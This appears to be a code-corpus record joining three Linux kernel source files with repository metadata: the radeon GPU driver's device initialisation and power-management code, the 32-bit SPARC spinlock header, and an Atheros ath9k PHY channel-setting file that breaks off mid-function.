/* * Copyright 2008 Advanced Micro Devices, Inc. * Copyright 2008 Red Hat Inc. * Copyright 2009 Jerome Glisse. * * Permission is hereby granted, free of charge, to any person obtaining a * copy of this software and associated documentation files (the "Software"), * to deal in the Software without restriction, including without limitation * the rights to use, copy, modify, merge, publish, distribute, sublicense, * and/or sell copies of the Software, and to permit persons to whom the * Software is furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL * THE COPYRIGHT HOLDER(S) OR AUTHOR(S) BE LIABLE FOR ANY CLAIM, DAMAGES OR * OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, * ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR * OTHER DEALINGS IN THE SOFTWARE. * * Authors: Dave Airlie * Alex Deucher * Jerome Glisse */ #include <linux/console.h> #include <linux/slab.h> #include <drm/drmP.h> #include <drm/drm_crtc_helper.h> #include <drm/radeon_drm.h> #include <linux/vgaarb.h> #include <linux/vga_switcheroo.h> #include "radeon_reg.h" #include "radeon.h" #include "atom.h" static const char radeon_family_name[][16] = { "R100", "RV100", "RS100", "RV200", "RS200", "R200", "RV250", "RS300", "RV280", "R300", "R350", "RV350", "RV380", "R420", "R423", "RV410", "RS400", "RS480", "RS600", "RS690", "RS740", "RV515", "R520", "RV530", "RV560", "RV570", "R580", "R600", "RV610", "RV630", "RV670", "RV620", "RV635", "RS780", "RS880", "RV770", "RV730", "RV710", "RV740", "CEDAR", "REDWOOD", "JUNIPER", "CYPRESS", "HEMLOCK", "LAST", }; /* * Clear GPU surface registers. */ void radeon_surface_init(struct radeon_device *rdev) { /* FIXME: check this out */ if (rdev->family < CHIP_R600) { int i; for (i = 0; i < RADEON_GEM_MAX_SURFACES; i++) { if (rdev->surface_regs[i].bo) radeon_bo_get_surface_reg(rdev->surface_regs[i].bo); else radeon_clear_surface_reg(rdev, i); } /* enable surfaces */ WREG32(RADEON_SURFACE_CNTL, 0); } } /* * GPU scratch registers helpers function. */ void radeon_scratch_init(struct radeon_device *rdev) { int i; /* FIXME: check this out */ if (rdev->family < CHIP_R300) { rdev->scratch.num_reg = 5; } else { rdev->scratch.num_reg = 7; } for (i = 0; i < rdev->scratch.num_reg; i++) { rdev->scratch.free[i] = true; rdev->scratch.reg[i] = RADEON_SCRATCH_REG0 + (i * 4); } } int radeon_scratch_get(struct radeon_device *rdev, uint32_t *reg) { int i; for (i = 0; i < rdev->scratch.num_reg; i++) { if (rdev->scratch.free[i]) { rdev->scratch.free[i] = false; *reg = rdev->scratch.reg[i]; return 0; } } return -EINVAL; } void radeon_scratch_free(struct radeon_device *rdev, uint32_t reg) { int i; for (i = 0; i < rdev->scratch.num_reg; i++) { if (rdev->scratch.reg[i] == reg) { rdev->scratch.free[i] = true; return; } } } /** * radeon_vram_location - try to find VRAM location * @rdev: radeon device structure holding all necessary informations * @mc: memory controller structure holding memory informations * @base: base address at which to put VRAM * * Function will place try to place VRAM at base address provided * as parameter (which is so far either PCI aperture address or * for IGP TOM base address). * * If there is not enough space to fit the unvisible VRAM in the 32bits * address space then we limit the VRAM size to the aperture. * * If we are using AGP and if the AGP aperture doesn't allow us to have * room for all the VRAM than we restrict the VRAM to the PCI aperture * size and print a warning. * * This function will never fails, worst case are limiting VRAM. * * Note: GTT start, end, size should be initialized before calling this * function on AGP platform. * * Note: We don't explictly enforce VRAM start to be aligned on VRAM size, * this shouldn't be a problem as we are using the PCI aperture as a reference. * Otherwise this would be needed for rv280, all r3xx, and all r4xx, but * not IGP. * * Note: we use mc_vram_size as on some board we need to program the mc to * cover the whole aperture even if VRAM size is inferior to aperture size * Novell bug 204882 + along with lots of ubuntu ones * * Note: when limiting vram it's safe to overwritte real_vram_size because * we are not in case where real_vram_size is inferior to mc_vram_size (ie * note afected by bogus hw of Novell bug 204882 + along with lots of ubuntu * ones) * * Note: IGP TOM addr should be the same as the aperture addr, we don't * explicitly check for that thought. * * FIXME: when reducing VRAM size align new size on power of 2. */ void radeon_vram_location(struct radeon_device *rdev, struct radeon_mc *mc, u64 base) { mc->vram_start = base; if (mc->mc_vram_size > (0xFFFFFFFF - base + 1)) { dev_warn(rdev->dev, "limiting VRAM to PCI aperture size\n"); mc->real_vram_size = mc->aper_size; mc->mc_vram_size = mc->aper_size; } mc->vram_end = mc->vram_start + mc->mc_vram_size - 1; if (rdev->flags & RADEON_IS_AGP && mc->vram_end > mc->gtt_start && mc->vram_end <= mc->gtt_end) { dev_warn(rdev->dev, "limiting VRAM to PCI aperture size\n"); mc->real_vram_size = mc->aper_size; mc->mc_vram_size = mc->aper_size; } mc->vram_end = mc->vram_start + mc->mc_vram_size - 1; dev_info(rdev->dev, "VRAM: %lluM 0x%08llX - 0x%08llX (%lluM used)\n", mc->mc_vram_size >> 20, mc->vram_start, mc->vram_end, mc->real_vram_size >> 20); } /** * radeon_gtt_location - try to find GTT location * @rdev: radeon device structure holding all necessary informations * @mc: memory controller structure holding memory informations * * Function will place try to place GTT before or after VRAM. * * If GTT size is bigger than space left then we ajust GTT size. * Thus function will never fails. * * FIXME: when reducing GTT size align new size on power of 2. */ void radeon_gtt_location(struct radeon_device *rdev, struct radeon_mc *mc) { u64 size_af, size_bf; size_af = 0xFFFFFFFF - mc->vram_end; size_bf = mc->vram_start; if (size_bf > size_af) { if (mc->gtt_size > size_bf) { dev_warn(rdev->dev, "limiting GTT\n"); mc->gtt_size = size_bf; } mc->gtt_start = mc->vram_start - mc->gtt_size; } else { if (mc->gtt_size > size_af) { dev_warn(rdev->dev, "limiting GTT\n"); mc->gtt_size = size_af; } mc->gtt_start = mc->vram_end + 1; } mc->gtt_end = mc->gtt_start + mc->gtt_size - 1; dev_info(rdev->dev, "GTT: %lluM 0x%08llX - 0x%08llX\n", mc->gtt_size >> 20, mc->gtt_start, mc->gtt_end); } /* * GPU helpers function. */ bool radeon_card_posted(struct radeon_device *rdev) { uint32_t reg; /* first check CRTCs */ if (ASIC_IS_DCE4(rdev)) { reg = RREG32(EVERGREEN_CRTC_CONTROL + EVERGREEN_CRTC0_REGISTER_OFFSET) | RREG32(EVERGREEN_CRTC_CONTROL + EVERGREEN_CRTC1_REGISTER_OFFSET) | RREG32(EVERGREEN_CRTC_CONTROL + EVERGREEN_CRTC2_REGISTER_OFFSET) | RREG32(EVERGREEN_CRTC_CONTROL + EVERGREEN_CRTC3_REGISTER_OFFSET) | RREG32(EVERGREEN_CRTC_CONTROL + EVERGREEN_CRTC4_REGISTER_OFFSET) | RREG32(EVERGREEN_CRTC_CONTROL + EVERGREEN_CRTC5_REGISTER_OFFSET); if (reg & EVERGREEN_CRTC_MASTER_EN) return true; } else if (ASIC_IS_AVIVO(rdev)) { reg = RREG32(AVIVO_D1CRTC_CONTROL) | RREG32(AVIVO_D2CRTC_CONTROL); if (reg & AVIVO_CRTC_EN) { return true; } } else { reg = RREG32(RADEON_CRTC_GEN_CNTL) | RREG32(RADEON_CRTC2_GEN_CNTL); if (reg & RADEON_CRTC_EN) { return true; } } /* then check MEM_SIZE, in case the crtcs are off */ if (rdev->family >= CHIP_R600) reg = RREG32(R600_CONFIG_MEMSIZE); else reg = RREG32(RADEON_CONFIG_MEMSIZE); if (reg) return true; return false; } void radeon_update_bandwidth_info(struct radeon_device *rdev) { fixed20_12 a; u32 sclk, mclk; if (rdev->flags & RADEON_IS_IGP) { sclk = radeon_get_engine_clock(rdev); mclk = rdev->clock.default_mclk; a.full = rfixed_const(100); rdev->pm.sclk.full = rfixed_const(sclk); rdev->pm.sclk.full = rfixed_div(rdev->pm.sclk, a); rdev->pm.mclk.full = rfixed_const(mclk); rdev->pm.mclk.full = rfixed_div(rdev->pm.mclk, a); a.full = rfixed_const(16); /* core_bandwidth = sclk(Mhz) * 16 */ rdev->pm.core_bandwidth.full = rfixed_div(rdev->pm.sclk, a); } else { sclk = radeon_get_engine_clock(rdev); mclk = radeon_get_memory_clock(rdev); a.full = rfixed_const(100); rdev->pm.sclk.full = rfixed_const(sclk); rdev->pm.sclk.full = rfixed_div(rdev->pm.sclk, a); rdev->pm.mclk.full = rfixed_const(mclk); rdev->pm.mclk.full = rfixed_div(rdev->pm.mclk, a); } } bool radeon_boot_test_post_card(struct radeon_device *rdev) { if (radeon_card_posted(rdev)) return true; if (rdev->bios) { DRM_INFO("GPU not posted. posting now...\n"); if (rdev->is_atom_bios) atom_asic_init(rdev->mode_info.atom_context); else radeon_combios_asic_init(rdev->ddev); return true; } else { dev_err(rdev->dev, "Card not posted and no BIOS - ignoring\n"); return false; } } int radeon_dummy_page_init(struct radeon_device *rdev) { if (rdev->dummy_page.page) return 0; rdev->dummy_page.page = alloc_page(GFP_DMA32 | GFP_KERNEL | __GFP_ZERO); if (rdev->dummy_page.page == NULL) return -ENOMEM; rdev->dummy_page.addr = pci_map_page(rdev->pdev, rdev->dummy_page.page, 0, PAGE_SIZE, PCI_DMA_BIDIRECTIONAL); if (!rdev->dummy_page.addr) { __free_page(rdev->dummy_page.page); rdev->dummy_page.page = NULL; return -ENOMEM; } return 0; } void radeon_dummy_page_fini(struct radeon_device *rdev) { if (rdev->dummy_page.page == NULL) return; pci_unmap_page(rdev->pdev, rdev->dummy_page.addr, PAGE_SIZE, PCI_DMA_BIDIRECTIONAL); __free_page(rdev->dummy_page.page); rdev->dummy_page.page = NULL; } /* ATOM accessor methods */ static uint32_t cail_pll_read(struct card_info *info, uint32_t reg) { struct radeon_device *rdev = info->dev->dev_private; uint32_t r; r = rdev->pll_rreg(rdev, reg); return r; } static void cail_pll_write(struct card_info *info, uint32_t reg, uint32_t val) { struct radeon_device *rdev = info->dev->dev_private; rdev->pll_wreg(rdev, reg, val); } static uint32_t cail_mc_read(struct card_info *info, uint32_t reg) { struct radeon_device *rdev = info->dev->dev_private; uint32_t r; r = rdev->mc_rreg(rdev, reg); return r; } static void cail_mc_write(struct card_info *info, uint32_t reg, uint32_t val) { struct radeon_device *rdev = info->dev->dev_private; rdev->mc_wreg(rdev, reg, val); } static void cail_reg_write(struct card_info *info, uint32_t reg, uint32_t val) { struct radeon_device *rdev = info->dev->dev_private; WREG32(reg*4, val); } static uint32_t cail_reg_read(struct card_info *info, uint32_t reg) { struct radeon_device *rdev = info->dev->dev_private; uint32_t r; r = RREG32(reg*4); return r; } int radeon_atombios_init(struct radeon_device *rdev) { struct card_info *atom_card_info = kzalloc(sizeof(struct card_info), GFP_KERNEL); if (!atom_card_info) return -ENOMEM; rdev->mode_info.atom_card_info = atom_card_info; atom_card_info->dev = rdev->ddev; atom_card_info->reg_read = cail_reg_read; atom_card_info->reg_write = cail_reg_write; atom_card_info->mc_read = cail_mc_read; atom_card_info->mc_write = cail_mc_write; atom_card_info->pll_read = cail_pll_read; atom_card_info->pll_write = cail_pll_write; rdev->mode_info.atom_context = atom_parse(atom_card_info, rdev->bios); mutex_init(&rdev->mode_info.atom_context->mutex); radeon_atom_initialize_bios_scratch_regs(rdev->ddev); atom_allocate_fb_scratch(rdev->mode_info.atom_context); return 0; } void radeon_atombios_fini(struct radeon_device *rdev) { if (rdev->mode_info.atom_context) { kfree(rdev->mode_info.atom_context->scratch); kfree(rdev->mode_info.atom_context); } kfree(rdev->mode_info.atom_card_info); } int radeon_combios_init(struct radeon_device *rdev) { radeon_combios_initialize_bios_scratch_regs(rdev->ddev); return 0; } void radeon_combios_fini(struct radeon_device *rdev) { } /* if we get transitioned to only one device, tak VGA back */ static unsigned int radeon_vga_set_decode(void *cookie, bool state) { struct radeon_device *rdev = cookie; radeon_vga_set_state(rdev, state); if (state) return VGA_RSRC_LEGACY_IO | VGA_RSRC_LEGACY_MEM | VGA_RSRC_NORMAL_IO | VGA_RSRC_NORMAL_MEM; else return VGA_RSRC_NORMAL_IO | VGA_RSRC_NORMAL_MEM; } void radeon_check_arguments(struct radeon_device *rdev) { /* vramlimit must be a power of two */ switch (radeon_vram_limit) { case 0: case 4: case 8: case 16: case 32: case 64: case 128: case 256: case 512: case 1024: case 2048: case 4096: break; default: dev_warn(rdev->dev, "vram limit (%d) must be a power of 2\n", radeon_vram_limit); radeon_vram_limit = 0; break; } radeon_vram_limit = radeon_vram_limit << 20; /* gtt size must be power of two and greater or equal to 32M */ switch (radeon_gart_size) { case 4: case 8: case 16: dev_warn(rdev->dev, "gart size (%d) too small forcing to 512M\n", radeon_gart_size); radeon_gart_size = 512; break; case 32: case 64: case 128: case 256: case 512: case 1024: case 2048: case 4096: break; default: dev_warn(rdev->dev, "gart size (%d) must be a power of 2\n", radeon_gart_size); radeon_gart_size = 512; break; } rdev->mc.gtt_size = radeon_gart_size * 1024 * 1024; /* AGP mode can only be -1, 1, 2, 4, 8 */ switch (radeon_agpmode) { case -1: case 0: case 1: case 2: case 4: case 8: break; default: dev_warn(rdev->dev, "invalid AGP mode %d (valid mode: " "-1, 0, 1, 2, 4, 8)\n", radeon_agpmode); radeon_agpmode = 0; break; } } static void radeon_switcheroo_set_state(struct pci_dev *pdev, enum vga_switcheroo_state state) { struct drm_device *dev = pci_get_drvdata(pdev); struct radeon_device *rdev = dev->dev_private; pm_message_t pmm = { .event = PM_EVENT_SUSPEND }; if (state == VGA_SWITCHEROO_ON) { printk(KERN_INFO "radeon: switched on\n"); /* don't suspend or resume card normally */ rdev->powered_down = false; radeon_resume_kms(dev); } else { printk(KERN_INFO "radeon: switched off\n"); radeon_suspend_kms(dev, pmm); /* don't suspend or resume card normally */ rdev->powered_down = true; } } static bool radeon_switcheroo_can_switch(struct pci_dev *pdev) { struct drm_device *dev = pci_get_drvdata(pdev); bool can_switch; spin_lock(&dev->count_lock); can_switch = (dev->open_count == 0); spin_unlock(&dev->count_lock); return can_switch; } int radeon_device_init(struct radeon_device *rdev, struct drm_device *ddev, struct pci_dev *pdev, uint32_t flags) { int r; int dma_bits; rdev->shutdown = false; rdev->dev = &pdev->dev; rdev->ddev = ddev; rdev->pdev = pdev; rdev->flags = flags; rdev->family = flags & RADEON_FAMILY_MASK; rdev->is_atom_bios = false; rdev->usec_timeout = RADEON_MAX_USEC_TIMEOUT; rdev->mc.gtt_size = radeon_gart_size * 1024 * 1024; rdev->gpu_lockup = false; rdev->accel_working = false; DRM_INFO("initializing kernel modesetting (%s 0x%04X:0x%04X).\n", radeon_family_name[rdev->family], pdev->vendor, pdev->device); /* mutex initialization are all done here so we * can recall function without having locking issues */ mutex_init(&rdev->cs_mutex); mutex_init(&rdev->ib_pool.mutex); mutex_init(&rdev->cp.mutex); mutex_init(&rdev->dc_hw_i2c_mutex); if (rdev->family >= CHIP_R600) spin_lock_init(&rdev->ih.lock); mutex_init(&rdev->gem.mutex); mutex_init(&rdev->pm.mutex); rwlock_init(&rdev->fence_drv.lock); INIT_LIST_HEAD(&rdev->gem.objects); init_waitqueue_head(&rdev->irq.vblank_queue); /* setup workqueue */ rdev->wq = create_workqueue("radeon"); if (rdev->wq == NULL) return -ENOMEM; /* Set asic functions */ r = radeon_asic_init(rdev); if (r) return r; radeon_check_arguments(rdev); /* all of the newer IGP chips have an internal gart * However some rs4xx report as AGP, so remove that here. */ if ((rdev->family >= CHIP_RS400) && (rdev->flags & RADEON_IS_IGP)) { rdev->flags &= ~RADEON_IS_AGP; } if (rdev->flags & RADEON_IS_AGP && radeon_agpmode == -1) { radeon_agp_disable(rdev); } /* set DMA mask + need_dma32 flags. * PCIE - can handle 40-bits. * IGP - can handle 40-bits (in theory) * AGP - generally dma32 is safest * PCI - only dma32 */ rdev->need_dma32 = false; if (rdev->flags & RADEON_IS_AGP) rdev->need_dma32 = true; if (rdev->flags & RADEON_IS_PCI) rdev->need_dma32 = true; dma_bits = rdev->need_dma32 ? 32 : 40; r = pci_set_dma_mask(rdev->pdev, DMA_BIT_MASK(dma_bits)); if (r) { printk(KERN_WARNING "radeon: No suitable DMA available.\n"); } /* Registers mapping */ /* TODO: block userspace mapping of io register */ rdev->rmmio_base = drm_get_resource_start(rdev->ddev, 2); rdev->rmmio_size = drm_get_resource_len(rdev->ddev, 2); rdev->rmmio = ioremap(rdev->rmmio_base, rdev->rmmio_size); if (rdev->rmmio == NULL) { return -ENOMEM; } DRM_INFO("register mmio base: 0x%08X\n", (uint32_t)rdev->rmmio_base); DRM_INFO("register mmio size: %u\n", (unsigned)rdev->rmmio_size); /* if we have > 1 VGA cards, then disable the radeon VGA resources */ /* this will fail for cards that aren't VGA class devices, just * ignore it */ vga_client_register(rdev->pdev, rdev, NULL, radeon_vga_set_decode); vga_switcheroo_register_client(rdev->pdev, radeon_switcheroo_set_state, radeon_switcheroo_can_switch); r = radeon_init(rdev); if (r) return r; if (rdev->flags & RADEON_IS_AGP && !rdev->accel_working) { /* Acceleration not working on AGP card try again * with fallback to PCI or PCIE GART */ radeon_gpu_reset(rdev); radeon_fini(rdev); radeon_agp_disable(rdev); r = radeon_init(rdev); if (r) return r; } if (radeon_testing) { radeon_test_moves(rdev); } if (radeon_benchmarking) { radeon_benchmark(rdev); } return 0; } void radeon_device_fini(struct radeon_device *rdev) { DRM_INFO("radeon: finishing device.\n"); rdev->shutdown = true; radeon_fini(rdev); destroy_workqueue(rdev->wq); vga_switcheroo_unregister_client(rdev->pdev); vga_client_register(rdev->pdev, NULL, NULL, NULL); iounmap(rdev->rmmio); rdev->rmmio = NULL; } /* * Suspend & resume. */ int radeon_suspend_kms(struct drm_device *dev, pm_message_t state) { struct radeon_device *rdev; struct drm_crtc *crtc; int r; if (dev == NULL || dev->dev_private == NULL) { return -ENODEV; } if (state.event == PM_EVENT_PRETHAW) { return 0; } rdev = dev->dev_private; if (rdev->powered_down) return 0; /* unpin the front buffers */ list_for_each_entry(crtc, &dev->mode_config.crtc_list, head) { struct radeon_framebuffer *rfb = to_radeon_framebuffer(crtc->fb); struct radeon_bo *robj; if (rfb == NULL || rfb->obj == NULL) { continue; } robj = rfb->obj->driver_private; if (robj != rdev->fbdev_rbo) { r = radeon_bo_reserve(robj, false); if (unlikely(r == 0)) { radeon_bo_unpin(robj); radeon_bo_unreserve(robj); } } } /* evict vram memory */ radeon_bo_evict_vram(rdev); /* wait for gpu to finish processing current batch */ radeon_fence_wait_last(rdev); radeon_save_bios_scratch_regs(rdev); radeon_suspend(rdev); radeon_hpd_fini(rdev); /* evict remaining vram memory */ radeon_bo_evict_vram(rdev); pci_save_state(dev->pdev); if (state.event == PM_EVENT_SUSPEND) { /* Shut down the device */ pci_disable_device(dev->pdev); pci_set_power_state(dev->pdev, PCI_D3hot); } acquire_console_sem(); fb_set_suspend(rdev->fbdev_info, 1); release_console_sem(); return 0; } int radeon_resume_kms(struct drm_device *dev) { struct radeon_device *rdev = dev->dev_private; if (rdev->powered_down) return 0; acquire_console_sem(); pci_set_power_state(dev->pdev, PCI_D0); pci_restore_state(dev->pdev); if (pci_enable_device(dev->pdev)) { release_console_sem(); return -1; } pci_set_master(dev->pdev); /* resume AGP if in use */ radeon_agp_resume(rdev); radeon_resume(rdev); radeon_restore_bios_scratch_regs(rdev); fb_set_suspend(rdev->fbdev_info, 0); release_console_sem(); /* reset hpd state */ radeon_hpd_init(rdev); /* blat the mode back in */ drm_helper_resume_force_mode(dev); return 0; } /* * Debugfs */ struct radeon_debugfs { struct drm_info_list *files; unsigned num_files; }; static struct radeon_debugfs _radeon_debugfs[RADEON_DEBUGFS_MAX_NUM_FILES]; static unsigned _radeon_debugfs_count = 0; int radeon_debugfs_add_files(struct radeon_device *rdev, struct drm_info_list *files, unsigned nfiles) { unsigned i; for (i = 0; i < _radeon_debugfs_count; i++) { if (_radeon_debugfs[i].files == files) { /* Already registered */ return 0; } } if ((_radeon_debugfs_count + nfiles) > RADEON_DEBUGFS_MAX_NUM_FILES) { DRM_ERROR("Reached maximum number of debugfs files.\n"); DRM_ERROR("Report so we increase RADEON_DEBUGFS_MAX_NUM_FILES.\n"); return -EINVAL; } _radeon_debugfs[_radeon_debugfs_count].files = files; _radeon_debugfs[_radeon_debugfs_count].num_files = nfiles; _radeon_debugfs_count++; #if defined(CONFIG_DEBUG_FS) drm_debugfs_create_files(files, nfiles, rdev->ddev->control->debugfs_root, rdev->ddev->control); drm_debugfs_create_files(files, nfiles, rdev->ddev->primary->debugfs_root, rdev->ddev->primary); #endif return 0; } #if defined(CONFIG_DEBUG_FS) int radeon_debugfs_init(struct drm_minor *minor) { return 0; } void radeon_debugfs_cleanup(struct drm_minor *minor) { unsigned i; for (i = 0; i < _radeon_debugfs_count; i++) { drm_debugfs_remove_files(_radeon_debugfs[i].files, _radeon_debugfs[i].num_files, minor); } } #endif
gpl-2.0
BPI-SINOVOIP/BPI-Mainline-kernel
linux-4.14/arch/sparc/include/asm/spinlock_32.h
4740
/* SPDX-License-Identifier: GPL-2.0 */ /* spinlock.h: 32-bit Sparc spinlock support. * * Copyright (C) 1997 David S. Miller ([email protected]) */ #ifndef __SPARC_SPINLOCK_H #define __SPARC_SPINLOCK_H #ifndef __ASSEMBLY__ #include <asm/psr.h> #include <asm/barrier.h> #include <asm/processor.h> /* for cpu_relax */ #define arch_spin_is_locked(lock) (*((volatile unsigned char *)(lock)) != 0) static inline void arch_spin_lock(arch_spinlock_t *lock) { __asm__ __volatile__( "\n1:\n\t" "ldstub [%0], %%g2\n\t" "orcc %%g2, 0x0, %%g0\n\t" "bne,a 2f\n\t" " ldub [%0], %%g2\n\t" ".subsection 2\n" "2:\n\t" "orcc %%g2, 0x0, %%g0\n\t" "bne,a 2b\n\t" " ldub [%0], %%g2\n\t" "b,a 1b\n\t" ".previous\n" : /* no outputs */ : "r" (lock) : "g2", "memory", "cc"); } static inline int arch_spin_trylock(arch_spinlock_t *lock) { unsigned int result; __asm__ __volatile__("ldstub [%1], %0" : "=r" (result) : "r" (lock) : "memory"); return (result == 0); } static inline void arch_spin_unlock(arch_spinlock_t *lock) { __asm__ __volatile__("stb %%g0, [%0]" : : "r" (lock) : "memory"); } /* Read-write spinlocks, allowing multiple readers * but only one writer. * * NOTE! it is quite common to have readers in interrupts * but no interrupt writers. For those circumstances we * can "mix" irq-safe locks - any writer needs to get a * irq-safe write-lock, but readers can get non-irqsafe * read-locks. * * XXX This might create some problems with my dual spinlock * XXX scheme, deadlocks etc. -DaveM * * Sort of like atomic_t's on Sparc, but even more clever. * * ------------------------------------ * | 24-bit counter | wlock | arch_rwlock_t * ------------------------------------ * 31 8 7 0 * * wlock signifies the one writer is in or somebody is updating * counter. For a writer, if he successfully acquires the wlock, * but counter is non-zero, he has to release the lock and wait, * till both counter and wlock are zero. * * Unfortunately this scheme limits us to ~16,000,000 cpus. */ static inline void __arch_read_lock(arch_rwlock_t *rw) { register arch_rwlock_t *lp asm("g1"); lp = rw; __asm__ __volatile__( "mov %%o7, %%g4\n\t" "call ___rw_read_enter\n\t" " ldstub [%%g1 + 3], %%g2\n" : /* no outputs */ : "r" (lp) : "g2", "g4", "memory", "cc"); } #define arch_read_lock(lock) \ do { unsigned long flags; \ local_irq_save(flags); \ __arch_read_lock(lock); \ local_irq_restore(flags); \ } while(0) static inline void __arch_read_unlock(arch_rwlock_t *rw) { register arch_rwlock_t *lp asm("g1"); lp = rw; __asm__ __volatile__( "mov %%o7, %%g4\n\t" "call ___rw_read_exit\n\t" " ldstub [%%g1 + 3], %%g2\n" : /* no outputs */ : "r" (lp) : "g2", "g4", "memory", "cc"); } #define arch_read_unlock(lock) \ do { unsigned long flags; \ local_irq_save(flags); \ __arch_read_unlock(lock); \ local_irq_restore(flags); \ } while(0) static inline void arch_write_lock(arch_rwlock_t *rw) { register arch_rwlock_t *lp asm("g1"); lp = rw; __asm__ __volatile__( "mov %%o7, %%g4\n\t" "call ___rw_write_enter\n\t" " ldstub [%%g1 + 3], %%g2\n" : /* no outputs */ : "r" (lp) : "g2", "g4", "memory", "cc"); *(volatile __u32 *)&lp->lock = ~0U; } static inline void arch_write_unlock(arch_rwlock_t *lock) { __asm__ __volatile__( " st %%g0, [%0]" : /* no outputs */ : "r" (lock) : "memory"); } static inline int arch_write_trylock(arch_rwlock_t *rw) { unsigned int val; __asm__ __volatile__("ldstub [%1 + 3], %0" : "=r" (val) : "r" (&rw->lock) : "memory"); if (val == 0) { val = rw->lock & ~0xff; if (val) ((volatile u8*)&rw->lock)[3] = 0; else *(volatile u32*)&rw->lock = ~0U; } return (val == 0); } static inline int __arch_read_trylock(arch_rwlock_t *rw) { register arch_rwlock_t *lp asm("g1"); register int res asm("o0"); lp = rw; __asm__ __volatile__( "mov %%o7, %%g4\n\t" "call ___rw_read_try\n\t" " ldstub [%%g1 + 3], %%g2\n" : "=r" (res) : "r" (lp) : "g2", "g4", "memory", "cc"); return res; } #define arch_read_trylock(lock) \ ({ unsigned long flags; \ int res; \ local_irq_save(flags); \ res = __arch_read_trylock(lock); \ local_irq_restore(flags); \ res; \ }) #define arch_spin_lock_flags(lock, flags) arch_spin_lock(lock) #define arch_read_lock_flags(rw, flags) arch_read_lock(rw) #define arch_write_lock_flags(rw, flags) arch_write_lock(rw) #define arch_spin_relax(lock) cpu_relax() #define arch_read_relax(lock) cpu_relax() #define arch_write_relax(lock) cpu_relax() #define arch_read_can_lock(rw) (!((rw)->lock & 0xff)) #define arch_write_can_lock(rw) (!(rw)->lock) #endif /* !(__ASSEMBLY__) */ #endif /* __SPARC_SPINLOCK_H */
gpl-2.0
pichina/linux-bcache
drivers/net/wireless/ath9k/phy.c
11036
/* * Copyright (c) 2008-2009 Atheros Communications Inc. * * Permission to use, copy, modify, and/or distribute this software for any * purpose with or without fee is hereby granted, provided that the above * copyright notice and this permission notice appear in all copies. * * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. */ #include "ath9k.h" void ath9k_hw_write_regs(struct ath_hw *ah, u32 modesIndex, u32 freqIndex, int regWrites) { REG_WRITE_ARRAY(&ah->iniBB_RfGain, freqIndex, regWrites); } bool ath9k_hw_set_channel(struct ath_hw *ah, struct ath9k_channel *chan) { u32 channelSel = 0; u32 bModeSynth = 0; u32 aModeRefSel = 0; u32 reg32 = 0; u16 freq; struct chan_centers centers; ath9k_hw_get_channel_centers(ah, chan, &centers); freq = centers.synth_center; if (freq < 4800) { u32 txctl; if (((freq - 2192) % 5) == 0) { channelSel = ((freq - 672) * 2 - 3040) / 10; bModeSynth = 0; } else if (((freq - 2224) % 5) == 0) { channelSel = ((freq - 704) * 2 - 3040) / 10; bModeSynth = 1; } else { DPRINTF(ah->ah_sc, ATH_DBG_CHANNEL, "Invalid channel %u MHz\n", freq); return false; } channelSel = (channelSel << 2) & 0xff; channelSel = ath9k_hw_reverse_bits(channelSel, 8); txctl = REG_READ(ah, AR_PHY_CCK_TX_CTRL); if (freq == 2484) { REG_WRITE(ah, AR_PHY_CCK_TX_CTRL, txctl | AR_PHY_CCK_TX_CTRL_JAPAN); } else { REG_WRITE(ah, AR_PHY_CCK_TX_CTRL, txctl & ~AR_PHY_CCK_TX_CTRL_JAPAN); } } else if ((freq % 20) == 0 && freq >= 5120) { channelSel = ath9k_hw_reverse_bits(((freq - 4800) / 20 << 2), 8); aModeRefSel = ath9k_hw_reverse_bits(1, 2); } else if ((freq % 10) == 0) { channelSel = ath9k_hw_reverse_bits(((freq - 4800) / 10 << 1), 8); if (AR_SREV_9100(ah) || AR_SREV_9160_10_OR_LATER(ah)) aModeRefSel = ath9k_hw_reverse_bits(2, 2); else aModeRefSel = ath9k_hw_reverse_bits(1, 2); } else if ((freq % 5) == 0) { channelSel = ath9k_hw_reverse_bits((freq - 4800) / 5, 8); aModeRefSel = ath9k_hw_reverse_bits(1, 2); } else { DPRINTF(ah->ah_sc, ATH_DBG_CHANNEL, "Invalid channel %u MHz\n", freq); return false; } reg32 = (channelSel << 8) | (aModeRefSel << 2) | (bModeSynth << 1) | (1 << 5) | 0x1; REG_WRITE(ah, AR_PHY(0x37), reg32); ah->curchan = chan; ah->curchan_rad_index = -1; return true; } bool ath9k_hw_ar9280_set_channel(struct ath_hw *ah, struct ath9k_channel *chan) { u16 bMode, fracMode, aModeRefSel = 0; u32 freq, ndiv, channelSel = 0, channelFrac = 0, reg32 = 0; struct chan_centers centers; u32 refDivA = 24; ath9k_hw_get_channel_centers(ah, chan, &centers); freq = centers.synth_center; reg32 = REG_READ(ah, AR_PHY_SYNTH_CONTROL); reg32 &= 0xc0000000; if (freq < 4800) { u32 txctl; bMode = 1; fracMode = 1; aModeRefSel = 0; channelSel = (freq * 0x10000) / 15; txctl = REG_READ(ah, AR_PHY_CCK_TX_CTRL); if (freq == 2484) { REG_WRITE(ah, AR_PHY_CCK_TX_CTRL, txctl | AR_PHY_CCK_TX_CTRL_JAPAN); } else { REG_WRITE(ah, AR_PHY_CCK_TX_CTRL, txctl & ~AR_PHY_CCK_TX_CTRL_JAPAN); } } else { bMode = 0; fracMode = 0; switch(ah->eep_ops->get_eeprom(ah, EEP_FRAC_N_5G)) { case 0: if ((freq % 20) == 0) { 